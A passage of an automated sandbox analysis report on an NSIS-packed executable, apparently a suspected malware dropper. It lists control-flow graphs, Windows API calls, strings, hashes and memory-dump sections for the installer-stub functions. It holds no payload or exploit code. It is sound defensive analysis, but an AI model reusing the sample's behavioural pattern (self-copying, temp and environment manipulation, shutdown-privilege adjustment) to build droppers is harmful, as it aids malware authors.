4254->4255 4255->4244 4256->4236 4257->4241 4259 405916 lstrlenA 4258->4259 4260 40591e 4259->4260 4261 4058ef lstrcmpiA 4259->4261 4260->4249 4260->4250 4261->4260 4262 40590d CharNextA 4261->4262 4262->4259 5615 4028aa SendMessageA 5616 4028c4 InvalidateRect 5615->5616 5617 4028cf 5615->5617 5616->5617 5618 40402b 5619 404041 5618->5619 5620 40414d 5618->5620 5623 403ee2 19 API calls 5619->5623 5621 4041bc 5620->5621 5622 404290 5620->5622 5628 404191 GetDlgItem SendMessageA 5620->5628 5621->5622 5624 4041c6 GetDlgItem 5621->5624 5629 403f49 8 API calls 5622->5629 5625 404097 5623->5625 5626 4041dc 5624->5626 5627 40424e 5624->5627 5630 403ee2 19 API calls 5625->5630 5626->5627 5634 404202 6 API calls 5626->5634 5627->5622 5635 404260 5627->5635 5649 403f04 EnableWindow 5628->5649 5632 40428b 5629->5632 5633 4040a4 CheckDlgButton 5630->5633 5647 403f04 EnableWindow 5633->5647 5634->5627 5638 404266 SendMessageA 5635->5638 5639 404277 5635->5639 5636 4041b7 5641 4042b5 SendMessageA 5636->5641 5638->5639 5639->5632 5640 40427d SendMessageA 5639->5640 5640->5632 5641->5621 5642 4040c2 GetDlgItem 5648 403f17 SendMessageA 5642->5648 5644 4040d8 SendMessageA 5645 4040f6 GetSysColor 5644->5645 5646 4040ff SendMessageA SendMessageA lstrlenA SendMessageA SendMessageA 5644->5646 5645->5646 5646->5632 5647->5642 5648->5644 5649->5636 4518 4015b3 4519 402a3a 18 API calls 4518->4519 4520 4015ba 4519->4520 4521 405808 4 API calls 4520->4521 4533 4015c2 4521->4533 4522 40161c 4524 401621 4522->4524 4525 40164a 4522->4525 4523 40579a CharNextA 4523->4533 4526 401423 25 API calls 4524->4526 4527 401423 25 API calls 4525->4527 4528 401628 4526->4528 4534 401642 4527->4534 4545 405cfd lstrcpynA 4528->4545 4532 401633 SetCurrentDirectoryA 4532->4534 4533->4522 4533->4523 4535 401604 GetFileAttributesA 4533->4535 4537 405476 4533->4537 4540 4053dc CreateDirectoryA 4533->4540 4546 405459 CreateDirectoryA 4533->4546 4535->4533 4538 406092 5 API calls 4537->4538 4539 40547d 4538->4539 4539->4533 4541 405429 4540->4541 4542 40542d GetLastError 4540->4542 4541->4533 4542->4541 4543 40543c SetFileSecurityA 4542->4543 4543->4541 4544 405452 GetLastError 4543->4544 4544->4541 4545->4532 4547 405469 4546->4547 4548 40546d GetLastError 4546->4548 4547->4533 4548->4547 5650 4016b3 5651 402a3a 18 API calls 5650->5651 5652 4016b9 GetFullPathNameA 5651->5652 5653 4016d0 5652->5653 5654 4016f1 5652->5654 5653->5654 5657 406001 2 API calls 5653->5657 5655 401705 GetShortPathNameA 5654->5655 5656 4028cf 5654->5656 5655->5656 5658 4016e1 5657->5658 5658->5654 5660 405cfd lstrcpynA 5658->5660 5660->5654 5668 4014b7 5669 4014bd 5668->5669 5670 401389 2 API calls 5669->5670 5671 4014c5 5670->5671 4571 401d38 GetDC GetDeviceCaps 4572 402a1d 18 API calls 4571->4572 4573 401d56 MulDiv ReleaseDC 4572->4573 4574 402a1d 18 API calls 4573->4574 4575 401d75 4574->4575 4576 405d1f 18 API calls 4575->4576 4577 401dae CreateFontIndirectA 4576->4577 4578 402513 4577->4578 5672 40363b 5673 403646 5672->5673 5674 40364a 5673->5674 5675 40364d GlobalAlloc 5673->5675 5675->5674 4842 40173e 4843 402a3a 18 API calls 4842->4843 4844 401745 4843->4844 4845 40599f 2 API calls 4844->4845 4846 40174c 4845->4846 4847 40599f 2 API calls 4846->4847 4847->4846 5676 401ebe 5677 402a3a 18 API calls 5676->5677 5678 401ec5 5677->5678 5679 406001 2 API calls 5678->5679 5680 401ecb 5679->5680 5682 401edd 5680->5682 5683 405c5b wsprintfA 5680->5683 5683->5682 5684 40193f 5685 402a3a 18 API calls 5684->5685 5686 401946 lstrlenA 5685->5686 5687 402513 5686->5687

                                                  Executed Functions

                                                  Function 004030D9 Relevance: 93.1, APIs: 32, Strings: 21, Instructions: 355comstringfileCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 0 4030d9-40310e SetErrorMode GetVersion 1 403110-403118 call 406092 0->1 2 403121-4031b2 call 406028 * 3 call 406092 * 2 #17 OleInitialize SHGetFileInfoA call 405cfd GetCommandLineA call 405cfd GetModuleHandleA 0->2 1->2 7 40311a 1->7 20 4031b4-4031b9 2->20 21 4031be-4031d3 call 40579a CharNextA 2->21 7->2 20->21 24 403298-40329c 21->24 25 4032a2 24->25 26 4031d8-4031db 24->26 29 4032b5-4032cf GetTempPathA call 4030a8 25->29 27 4031e3-4031eb 26->27 28 4031dd-4031e1 26->28 30 4031f3-4031f6 27->30 31 4031ed-4031ee 27->31 28->27 28->28 39 4032d1-4032ef GetWindowsDirectoryA lstrcatA call 4030a8 29->39 40 403327-403341 DeleteFileA call 402c66 29->40 33 403288-403295 call 40579a 30->33 34 4031fc-403200 30->34 31->30 33->24 52 403297 33->52 37 403202-403208 34->37 38 403218-403245 34->38 43 40320a-40320c 37->43 44 40320e 37->44 45 403247-40324d 38->45 46 403258-403286 38->46 39->40 54 4032f1-403321 GetTempPathA lstrcatA SetEnvironmentVariableA * 2 call 4030a8 39->54 55 4033d5-4033e5 call 4035a3 OleUninitialize 40->55 56 403347-40334d 40->56 43->38 43->44 44->38 48 403253 45->48 49 40324f-403251 45->49 46->33 51 4032a4-4032b0 call 405cfd 46->51 48->46 49->46 49->48 51->29 52->24 54->40 54->55 68 403509-40350f 55->68 69 4033eb-4033fb call 4054f3 ExitProcess 55->69 59 4033c5-4033cc call 40367d 56->59 60 40334f-40335a call 40579a 56->60 66 4033d1 59->66 72 403390-40339a 60->72 73 40335c-403385 60->73 66->55 70 403511-40352a GetCurrentProcess OpenProcessToken 68->70 71 40358b-403593 68->71 75 40355c-40356a call 406092 70->75 76 40352c-403556 LookupPrivilegeValueA AdjustTokenPrivileges 70->76 78 403595 71->78 79 403599-40359d ExitProcess 71->79 80 403401-403415 call 405476 lstrcatA 72->80 81 40339c-4033a9 call 40585d 72->81 77 403387-403389 73->77 93 403578-403582 ExitWindowsEx 75->93 94 40356c-403576 75->94 76->75 77->72 86 40338b-40338e 77->86 78->79 91 403422-40343c lstrcatA lstrcmpiA 80->91 92 403417-40341d lstrcatA 80->92 81->55 90 4033ab-4033c1 call 405cfd * 2 81->90 86->72 86->77 90->59 91->55 96 40343e-403441 91->96 92->91 93->71 97 403584-403586 call 40140b 93->97 94->93 94->97 99 403443-403448 call 4053dc 96->99 100 40344a call 405459 96->100 97->71 108 40344f-40345c SetCurrentDirectoryA 99->108 100->108 109 403469-403491 call 405cfd 108->109 110 40345e-403464 call 405cfd 108->110 114 403497-4034b3 call 405d1f DeleteFileA 109->114 110->109 117 4034f4-4034fb 114->117 118 4034b5-4034c5 CopyFileA 114->118 117->114 120 4034fd-403504 call 405bb8 117->120 118->117 119 4034c7-4034e7 call 405bb8 call 405d1f call 40548e 118->119 119->117 129 4034e9-4034f0 CloseHandle 119->129 120->55 129->117
                                                  APIs
                                                  • SetErrorMode.KERNELBASE ref: 004030FE
                                                  • GetVersion.KERNEL32 ref: 00403104
                                                  • #17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403153
                                                  • OleInitialize.OLE32(00000000), ref: 0040315A
                                                  • SHGetFileInfoA.SHELL32(0041ECE0,00000000,?,00000160,00000000), ref: 00403176
                                                  • GetCommandLineA.KERNEL32(00422F20,NSIS Error), ref: 0040318B
                                                  • GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Occipitomental.exe",00000000), ref: 0040319E
                                                  • CharNextA.USER32(00000000,"C:\Users\user\Desktop\Occipitomental.exe",00000020), ref: 004031C9
                                                  • GetTempPathA.KERNELBASE(00000400,C:\Users\user~1\AppData\Local\Temp\,00000000,00000020), ref: 004032C6
                                                  • GetWindowsDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,000003FB), ref: 004032D7
                                                  • lstrcatA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 004032E3
                                                  • GetTempPathA.KERNEL32(000003FC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 004032F7
                                                  • lstrcatA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,Low), ref: 004032FF
                                                  • SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403310
                                                  • SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user~1\AppData\Local\Temp\), ref: 00403318
                                                  • DeleteFileA.KERNELBASE(1033), ref: 0040332C
                                                    • Part of subcall function 00406092: GetModuleHandleA.KERNEL32(?,?,?,00403147,00000009,SETUPAPI,USERENV,UXTHEME), ref: 004060A4
                                                    • Part of subcall function 00406092: GetProcAddress.KERNEL32(00000000,?), ref: 004060BF
                                                  • OleUninitialize.OLE32(?), ref: 004033DA
                                                    • Part of subcall function 004054F3: MessageBoxIndirectA.USER32(00409230), ref: 0040554E
                                                  • ExitProcess.KERNEL32 ref: 004033FB
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: EnvironmentFileHandleModulePathTempVariablelstrcat$AddressCharCommandDeleteDirectoryErrorExitIndirectInfoInitializeLineMessageModeNextProcProcessUninitializeVersionWindows
                                                  • String ID: "$"C:\Users\user\Desktop\Occipitomental.exe"$.tmp$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Local\barberknivene\Valonia$C:\Users\user\AppData\Local\barberknivene\Valonia$C:\Users\user\Desktop$C:\Users\user\Desktop\Occipitomental.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu$A
                                                  • API String ID: 2526692829-921128605
                                                  • Opcode ID: 3b4e36f57f1a43a52e59b9c3396691346c15502fef73d9d9b20dac9e0cac3eca
                                                  • Instruction ID: bda156f374487f2bbb29673c031f74f644c2b1eaea70be50b0a917a6d4bf9e43
                                                  • Opcode Fuzzy Hash: 3b4e36f57f1a43a52e59b9c3396691346c15502fef73d9d9b20dac9e0cac3eca
                                                  • Instruction Fuzzy Hash: 17C1E6706082427AE7116F719D4DA2B3EACEB8570AF04457FF542B51E2CB7C9A058B2E
                                                  Function 00405D1F Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199stringCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 271 405d1f-405d2a 272 405d2c-405d3b 271->272 273 405d3d-405d52 271->273 272->273 274 405f45-405f49 273->274 275 405d58-405d63 273->275 276 405d75-405d7f 274->276 277 405f4f-405f59 274->277 275->274 278 405d69-405d70 275->278 276->277 281 405d85-405d8c 276->281 279 405f64-405f65 277->279 280 405f5b-405f5f call 405cfd 277->280 278->274 280->279 283 405d92-405dc7 281->283 284 405f38 281->284 285 405ee2-405ee5 283->285 286 405dcd-405dd8 GetVersion 283->286 287 405f42-405f44 284->287 288 405f3a-405f40 284->288 291 405f15-405f18 285->291 292 405ee7-405eea 285->292 289 405df2 286->289 290 405dda-405dde 286->290 287->274 288->274 296 405df9-405e00 289->296 290->289 293 405de0-405de4 290->293 297 405f26-405f36 lstrlenA 291->297 298 405f1a-405f21 call 405d1f 291->298 294 405efa-405f06 call 405cfd 292->294 295 405eec-405ef8 call 405c5b 292->295 293->289 299 405de6-405dea 293->299 309 405f0b-405f11 294->309 295->309 301 405e02-405e04 296->301 302 405e05-405e07 296->302 297->274 298->297 299->289 305 405dec-405df0 299->305 301->302 307 405e40-405e43 302->307 308 405e09-405e24 call 405be4 302->308 305->296 312 405e53-405e56 307->312 313 405e45-405e51 GetSystemDirectoryA 307->313 317 405e29-405e2c 308->317 309->297 311 405f13 309->311 318 405eda-405ee0 call 405f68 311->318 315 405ec0-405ec2 312->315 316 405e58-405e66 GetWindowsDirectoryA 312->316 314 405ec4-405ec7 313->314 314->318 321 405ec9-405ecd 314->321 315->314 319 405e68-405e72 315->319 316->315 320 405e32-405e3b call 405d1f 317->320 317->321 318->297 324 405e74-405e77 319->324 325 405e8c-405ea2 SHGetSpecialFolderLocation 319->325 320->314 321->318 327 405ecf-405ed5 lstrcatA 321->327 324->325 328 405e79-405e80 324->328 329 405ea4-405ebb SHGetPathFromIDListA CoTaskMemFree 325->329 330 405ebd 325->330 327->318 332 405e88-405e8a 328->332 329->314 329->330 330->315 332->314 332->325
                                                  APIs
                                                  • GetVersion.KERNEL32(?,0041F500,00000000,00404F4E,0041F500,00000000), ref: 00405DD0
                                                  • GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405E4B
                                                  • GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405E5E
                                                  • SHGetSpecialFolderLocation.SHELL32(?,0040E8D8), ref: 00405E9A
                                                  • SHGetPathFromIDListA.SHELL32(0040E8D8,Call), ref: 00405EA8
                                                  • CoTaskMemFree.OLE32(0040E8D8), ref: 00405EB3
                                                  • lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405ED5
                                                  • lstrlenA.KERNEL32(Call,?,0041F500,00000000,00404F4E,0041F500,00000000), ref: 00405F27
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
                                                  • String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                                  • API String ID: 900638850-1230650788
                                                  • Opcode ID: 72fca3c0d226cb4ffd2584a1df3709eed3dbe51e320ebdd5a95bbc0a956f9115
                                                  • Instruction ID: 0882c4b3dedd804cc86cf07441b0505b0d3b9fa6fe4ef2b0f086a7f01eec187c
                                                  • Opcode Fuzzy Hash: 72fca3c0d226cb4ffd2584a1df3709eed3dbe51e320ebdd5a95bbc0a956f9115
                                                  • Instruction Fuzzy Hash: D261F171A04A02ABDF209F24CC8877B3BA4EB55315F14813BE941BA2D0D27D4A42DF9E
                                                  Function 0040559F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159filestringCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 333 40559f-4055c5 call 40585d 336 4055c7-4055d9 DeleteFileA 333->336 337 4055de-4055e5 333->337 338 405768-40576c 336->338 339 4055e7-4055e9 337->339 340 4055f8-405608 call 405cfd 337->340 342 405716-40571b 339->342 343 4055ef-4055f2 339->343 346 405617-405618 call 4057b6 340->346 347 40560a-405615 lstrcatA 340->347 342->338 345 40571d-405720 342->345 343->340 343->342 348 405722-405728 345->348 349 40572a-405732 call 406001 345->349 350 40561d-405620 346->350 347->350 348->338 349->338 356 405734-405748 call 40576f call 405557 349->356 353 405622-405629 350->353 354 40562b-405631 lstrcatA 350->354 353->354 357 405636-405654 lstrlenA FindFirstFileA 353->357 354->357 371 405760-405763 call 404f16 356->371 372 40574a-40574d 356->372 359 40565a-405671 call 40579a 357->359 360 40570c-405710 357->360 367 405673-405677 359->367 368 40567c-40567f 359->368 360->342 362 405712 360->362 362->342 367->368 373 405679 367->373 369 405681-405686 368->369 370 405692-4056a0 call 405cfd 368->370 374 405688-40568a 369->374 375 4056eb-4056fd FindNextFileA 369->375 383 4056a2-4056aa 370->383 384 4056b7-4056c2 call 405557 370->384 371->338 372->348 377 40574f-40575e call 404f16 call 405bb8 372->377 373->368 374->370 379 40568c-405690 374->379 375->359 381 405703-405706 FindClose 375->381 377->338 379->370 379->375 381->360 383->375 386 4056ac-4056b5 call 40559f 383->386 393 4056e3-4056e6 call 404f16 384->393 394 4056c4-4056c7 384->394 386->375 393->375 396 4056c9-4056d9 call 404f16 call 405bb8 394->396 397 4056db-4056e1 394->397 396->375 397->375
                                                  APIs
                                                  • DeleteFileA.KERNELBASE(?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 004055C8
                                                  • lstrcatA.KERNEL32(00420D28,\*.*,00420D28,?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405610
                                                  • lstrcatA.KERNEL32(?,00409014,?,00420D28,?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405631
                                                  • lstrlenA.KERNEL32(?,?,00409014,?,00420D28,?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405637
                                                  • FindFirstFileA.KERNELBASE(00420D28,?,?,?,00409014,?,00420D28,?,?,771B3410,C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00405648
                                                  • FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004056F5
                                                  • FindClose.KERNEL32(00000000), ref: 00405706
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                  • String ID: "C:\Users\user\Desktop\Occipitomental.exe"$(B$C:\Users\user~1\AppData\Local\Temp\$\*.*
                                                  • API String ID: 2035342205-3490168226
                                                  • Opcode ID: ea2ef2fe97fec7946a05a837420bc3c5a17a8c9b1c3de3733fccb29128f8d6d5
                                                  • Instruction ID: 8f0c06671bf428c0f48d088e48fc2575de732930cf6b83f410cedc31bee7f7b4
                                                  • Opcode Fuzzy Hash: ea2ef2fe97fec7946a05a837420bc3c5a17a8c9b1c3de3733fccb29128f8d6d5
                                                  • Instruction Fuzzy Hash: 2051D330800A04BADB21AB618D45BBF7BB8DF82714F54457BF445721D2C73C4982DE6E
                                                  Function 00401751 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147stringtimeCOMMON
                                                  Download Yara Rule

                                                  Control-flow Graph

                                                  • Executed
                                                  • Not Executed
                                                  control_flow_graph 402 401751-401774 call 402a3a call 4057dc 407 401776-40177c call 405cfd 402->407 408 40177e-401790 call 405cfd call 40576f lstrcatA 402->408 413 401795-40179b call 405f68 407->413 408->413 418 4017a0-4017a4 413->418 419 4017a6-4017b0 call 406001 418->419 420 4017d7-4017da 418->420 428 4017c2-4017d4 419->428 429 4017b2-4017c0 CompareFileTime 419->429 421 4017e2-4017fe call 405970 420->421 422 4017dc-4017dd call 40594b 420->422 430 401800-401803 421->430 431 401876-40189f call 404f16 call 402e9f 421->431 422->421 428->420 429->428 432 401805-401847 call 405cfd * 2 call 405d1f call 405cfd call 4054f3 430->432 433 401858-401862 call 404f16 430->433 443 4018a1-4018a5 431->443 444 4018a7-4018b3 SetFileTime 431->444 432->418 465 40184d-40184e 432->465 445 40186b-401871 433->445 443->444 447 4018b9-4018c4 CloseHandle 443->447 444->447 448 4028d8 445->448 450 4018ca-4018cd 447->450 451 4028cf-4028d2 447->451 452 4028da-4028de 448->452 454 4018e2-4018e5 call 405d1f 450->454 455 4018cf-4018e0 call 405d1f lstrcatA 450->455 451->448 462 4018ea-402273 call 4054f3 454->462 455->462 462->452 465->445 467 401850-401851 465->467 467->433
                                                  APIs
                                                  • lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\barberknivene\Valonia,00000000,00000000,00000031), ref: 00401790
                                                  • CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\barberknivene\Valonia,00000000,00000000,00000031), ref: 004017BA
                                                    • Part of subcall function 00405CFD: lstrcpynA.KERNEL32(?,?,00000400,0040318B,00422F20,NSIS Error), ref: 00405D0A
                                                    • Part of subcall function 00404F16: lstrlenA.KERNEL32(0041F500,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000,?), ref: 00404F4F
                                                    • Part of subcall function 00404F16: lstrlenA.KERNEL32(00402FCF,0041F500,00000000,0040E8D8,00000000,?,?,?,?,?,?,?,?,?,00402FCF,00000000), ref: 00404F5F
                                                    • Part of subcall function 00404F16: lstrcatA.KERNEL32(0041F500,00402FCF,00402FCF,0041F500,00000000,0040E8D8,00000000), ref: 00404F72
                                                    • Part of subcall function 00404F16: SetWindowTextA.USER32(0041F500,0041F500), ref: 00404F84
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404FAA
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FC4
                                                    • Part of subcall function 00404F16: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FD2
                                                  Strings
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
                                                  • String ID: C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp$C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp\System.dll$C:\Users\user\AppData\Local\barberknivene\Valonia$Call
                                                  • API String ID: 1941528284-395519325
                                                  • Opcode ID: 04168a6927cb5bf333f429a3109858b4b2702fb802fe7a30de9b12e9228ead9c
                                                  • Instruction ID: b3254d88aebf37d11d8c7362002191d58d549b74aa0b12ea023da1ca5ce0478c
                                                  • Opcode Fuzzy Hash: 04168a6927cb5bf333f429a3109858b4b2702fb802fe7a30de9b12e9228ead9c
                                                  • Instruction Fuzzy Hash: 7F41C871A04515BADF107BB5CC45EAF3669DF41329F20823BF112F11E2DA3C4A419B6D
                                                  Function 00406344 Relevance: 5.4, APIs: 4, Instructions: 382COMMON
                                                  Download Yara Rule
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
                                                  • API ID:
                                                  • String ID:
                                                  • API String ID:
                                                  • Opcode ID: df052f8500bc354d4a21ff453bca24a979c322da877604b446898ac79d7ea655
                                                  • Instruction ID: 747aed367833ce7965c7456030a986fa8c308b51e1337f5c25afca0a07e996cc
                                                  • Opcode Fuzzy Hash: df052f8500bc354d4a21ff453bca24a979c322da877604b446898ac79d7ea655
                                                  • Instruction Fuzzy Hash: 35F17670D00229CBCF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44
                                                  Function 00406001 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON
                                                  Download Yara Rule
                                                  APIs
                                                  • FindFirstFileA.KERNELBASE(771B3410,00421570,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,004058A0,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,00000000,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp,771B3410,?,C:\Users\user~1\AppData\Local\Temp\,004055BF,?,771B3410,C:\Users\user~1\AppData\Local\Temp\), ref: 0040600C
                                                  • FindClose.KERNEL32(00000000), ref: 00406018
                                                  Strings
                                                  • C:\Users\user~1\AppData\Local\Temp\nslA8AC.tmp, xrefs: 00406001
                                                  Memory Dump Source
                                                  • Source File: 00000000.00000002.3063085350.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                  • Associated: 00000000.00000002.3063069031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063100719.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063120802.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000439000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  • Associated: 00000000.00000002.3063218210.0000000000449000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                  Joe Sandbox IDA Plugin
                                                  • Snapshot File: hcaresult_0_2_400000_Occipitomental.jbxd
                                                  Similarity
